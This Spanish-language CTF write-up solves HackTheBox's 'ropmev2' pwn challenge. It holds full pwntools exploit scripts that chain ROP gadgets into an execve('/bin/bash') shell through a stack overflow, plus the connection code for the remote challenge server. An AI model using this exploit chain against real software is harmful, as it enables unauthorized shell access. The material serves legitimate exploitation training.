ropmev2 (Pwn) – HackTheBox [ES]
Este binario vulnerable es un desafío retirado de la categoría Pwn de HackTheBox. Lo pueden descargar acá. Como su nombre sugiere, para resolverlo hay que usar la técnica de Return Oriented Programming (ROP).
Primero veamos que tipo de archivo es con file
ropmev2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0
Es un ejecutable de Linux de 64 bits dinámicamente linkeado. Si lo ejecutamos imprime “Please dont hack me” y espera un input.
octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2
Please dont hack me
test
Usando checksec
podemos ver que no tiene canario para detectar buffer overflows pero tiene flag NX, así que no se puede ejecutar el stack. Por otro lado, el binario no tiene PIE habilitado y entonces se va a ejecutar siempre en la misma posición de memoria, lo que facilita la explotación. Todo esto ya sugiere que va a haber que usar ROP.
octo@kali:~/HTB/Challenges/Pwn/ropmev2$ checksec ropmev2
[*] '/home/octo/HTB/Challenges/Pwn/ropmev2/ropmev2'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si lo desensamblamos podemos ver un par de cosas.
En primer lugar reserva espacio en el stack para un buffer de 0xd0
bytes con la instrucción sub rsp, 0xd0
en 0x40116f
pero luego lee 500 bytes cuando llama a read
en 0x4011b4
. Por lo tanto podemos explotar este buffer.
Por otro lado, si escribimos en el buffer DEBUG
entonces el programa va a imprimir “I dont know what this is” y la dirección del buffer. Esto es porque, si da verdadera la comparación realizada en 0x4011ca
, se ejecuta el segundo bloque de código.
octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2
Please dont hack me
DEBUG
I dont know what this is 0x7ffca3dcda90
Please dont hack me
De todas formas no necesitamos esa dirección porque, antes de retornar, la funcion main
llama a la función que renombramos como screwBuffer
. Luego vamos a ver porque la llamamos así, pero por el momento esto nos sirve porque hace que, al momento de retornar, el registro rdi
apunte al buffer. Esto puede ser corroborado debuggeando el programa con gdb
y más adelante vamos a ver porque es útil.
La idea es usar la técnica ROP, que consiste en utilizar fragmentos de código del programa llamados gadgets para poder lograr obtener una shell. Estos gadgets están formados por algunas instrucciones y luego en general terminan con la instrucción ret
. Entonces, podemos usarlos uno atrás de otro como si fueran llamados a pequeñas funciones sólo que, en vez de ser llamados mediante la instrucción call
, son llamados por la instrucción ret
. Por este motivo, debemos armar el stack y posicionar correctamente los argumentos de los gadgets luego la dirección de cada uno como se ilustra en este dibujo (tomado de acá):
Donde dice data irían los argumentos de cada gadget. Veamos entonces qué gadgets tiene el binario usando ROPgadget:
$ ROPgadget --binary ropmev2
Gadgets information
============================================================
0x00000000004010a9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
(...)
0x0000000000401168 : syscall
0x00000000004010d9 : xor al, 0x40 ; add bh, bh ; loopne 0x40114c ; nop ; ret
En 0x401168 está la instrucción syscall
que podemos usar para obtener la shell. Vamos a usar la syscall
execve
para ejecutar /bin/sh
y para eso podemos consultar los argumentos acá.
rax | System call | rdi | rsi | rdx |
---|---|---|---|---|
59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[] |
Entonces hay que buscar gadgets que nos permitan setear rax
, rsi
y rdx
, para luego usar la instrucción syscall
. No necesitamos setear rdi
porque ya se encontraba apuntando al buffer. Sólo tenemos que escribir en el buffer el binario a ejecutar. rsi
y rdx
deben ser NULL
. Vamos a usar los siguientes gadgets que también obtuvimos con ROPgadget
:
0x401162
:pop rax; ret
0x401164
:pop rdx; pop r13; ret
0x401429
:pop rsi; pop r15; ret
0x401168
:syscall
Para explotar el binario usamos el siguiente script de Python usando la librería pwntools
:
from pwn import *
exploit = b"/bin/sh\0" # buffer
exploit += b"\x41" * (0xd0-len(exploit)) # buffer
exploit += b"\x00" * 0x08 # rbp
exploit += p64(0x401162) # 1er gadget
exploit += p64(59) # valor rax (execve)
exploit += p64(0x401164) # 2d gadget
exploit += b"\x00" * 0x08 # valor rdx (NULL)
exploit += b"\x00" * 0x08 # valor r13 (No importa)
exploit += p64(0x401429) # 3er gadget
exploit += b"\x00" * 0x08 # valor rsi (NULL)
exploit += b"\x00" * 0x08 # valor r15 (No importa)
exploit += p64(0x401168) # syscall
sys.stdout.write(exploit)
Luego de cada gadget ponemos el valor que va a ser usado como si fuera un argumento. Por ejemplo, luego del primer gadget ponemos 59 que será popeado a rax
al ejecutar el gadget.
El tema es que al ejecutarlo vemos que no funciona:
octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|./ropmev2
Please dont hack me
ls
cat: write error: Broken pipe
Segmentation fault
Notar que es necesario ejecutar cat
luego del exploit para que no se cierre el pipe que permitirá usar sh
.
Podemos usar strace
para intentar ver porque está fallando la llamada a la syscall
execve
:
octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|strace ./ropmev2
execve("./ropmev2", ["./ropmev2"], 0x7fff18a436a0 /* 43 vars */) = 0
(...)
write(1, "Please dont hack me\n", 20Please dont hack me
) = 20
read(0, "/bin/sh\0AAAAAAAAAAAAAAAAAAAAAAAA"..., 500) = 288
execve("/ova/fu", NULL, NULL) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV +++
Vemos que a pesar de que read
está leyendo /bin/sh
y guardándolo en el buffer, al momento de ejecutar execve
el buffer contiene /ova/fu
.
Esto es culpa de la función que renombramos como screwBuffer
y que es llamada en 0x401207
antes de retornar de main
.
Mirando un poco esa función, probando un poco y usando un otro poco la intuición podemos ver que la función es reversible.
Entonces, basta cambiar /bin/sh
por /ova/fu
.
El exploit ahora funciona de forma local y queda así:
from pwn import *
exploit = b"/ova/fu\0" # buffer
exploit += b"\x41" * (0xd0-len(exploit)) # buffer
exploit += b"\x00" * 0x08 # rbp
exploit += p64(0x401162) # 1er gadget
exploit += p64(59) # valor rax (execve)
exploit += p64(0x401164) # 2er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401429) # 3er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401168) # syscall
sys.stdout.write(exploit)
Sólo resta cambiar un poco el script para usarlo con el servidor remoto de HackTheBox. Para esto cambiamos sys.stdout.write(exploit)
por:
p = remote('docker.hackthebox.eu',30257)
context(os='linux',arch='amd64')
print(p.recvline())
p.sendline(exploit)
p.interactive()
Pero cuando lo ejecutamos no funciona. Al que hizo el desafío en HackTheBox le pareció divertido cambiar /bin/sh
por otro binario que imprime “LOL NOPE”.
Por suerte podemos solucionarlo facilmente usando otro binario, como /bin/bash
. Sólo no hay que olvidar escribir el inverso para que screwBuffer
lo deje como queremos, que en este caso sería /ova/onfu
.